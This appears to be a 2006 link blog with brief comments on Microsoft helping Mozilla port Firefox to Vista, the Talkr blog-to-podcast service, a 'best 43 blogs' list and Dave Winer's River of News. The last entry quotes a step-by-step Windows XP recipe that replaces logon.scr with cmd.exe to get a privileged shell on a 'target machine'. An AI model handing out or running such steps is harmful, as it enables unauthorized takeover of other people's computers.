Microsoft butters up FireFox for Vista – vnunet.com

 The number of posts and curiosity about Mozilla going to Microsoft amazes me. Novell engineering and Microsoft OS guys used to visit each other, exchange technology, and communicate all of the time.

The people I had trouble with at Microsoft was Bill Gates, Paul Mauritz, and Steve Ballmer.

I have to keep reminding people that Msft does not have a single “persona.” There are many, many, many groups, each with different agendas.

They don’t have time–or the ability–to keep tabs on each other. Often, the groups inside Msft communicate with companies on the outside more often than the inside. Corporate life. It sucks.

Microsoft butters up Firefox for Vista

Software vendor offers help in bringing open source project to Windows Vista

Tom Sanders in California, vnunet.com 23 Aug 2006

Microsoft has offered to help the Mozilla Corporation port Firefox and Thunderbird to its forthcoming Windows Vista operating system. 

Sam Ramji, director of Microsoft’s Open Source Software Lab, sent an email to a Mozilla development mailing list offering access to the Windows Vista Readiness lab in December.

Source: Microsoft butters up Firefox for Vista – vnunet.com

tags: Microsoft, Mozilla, Firefox, ie

Talkr — Letting blogs speak for themselves

Text to speech for podcast listening. I will have to try it before I say I like it. But I
like the idea.

Create a free membership

What is Talkr? Talkr allows you to listen to text-only blogs on your iPod.

Talkr podcasts the blogs you love (and the ones you hate, too).

Source: Talkr — Letting blogs speak for themselves

tags: talkr, podcasts, blogs, text+to+speech+conversion

Top43 Best Blogs : Home Page

Can’t say that I agree with the list, but it is useful anyway. Some new ones I didn’t know about.

Welcome to the 43 Best Blogs Wiki. The following 43 blogs are simply the best. Other ‘best of’ blog lists offer 50 or even 100 ‘best’ blogs, but after painstaking research we have determined that there are really only 43 decent blogs at any one time.

Source: Top43 Best Blogs : Home Page

tags: blogs, top+43, pundits

NY Times River of News

I looked at the source for Nytimesriver.com and it is HTML 4.1. I wonder why Dave didn’t use XHTML Mobile 1.0? Any comments Dave?

Dave Winer fixes mobile news consumption with River-of-News philosophy

Link: BuzzMachine � Blog Archive � The river of news.

I caught this on Jeff’s site this evening…

Dave Winer is up to something important… again. He has been talking about wanting “rivers of news” — that is, headlines stripped of the packaging around them to give him a constant flow of what’s new. And he just created a few to feed his — and our — mobile phones.

As Jeff goes on to explain, Dave has implemented NYTimesRiver.com and BBCRiver.com — simply taking the site’s feed and sticking into an html web page that your Blackberry or any mobile phone will love.  Read Dave’s blog about it.

tags: mobile, rss, river+of+news, Winer

Windows Tips

 This is insane. NTFS is supposed to one of the most secure file systems in the world. How can this be? Anybody know?

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Source: Windows Tips

tags: windows+xp, hacks, security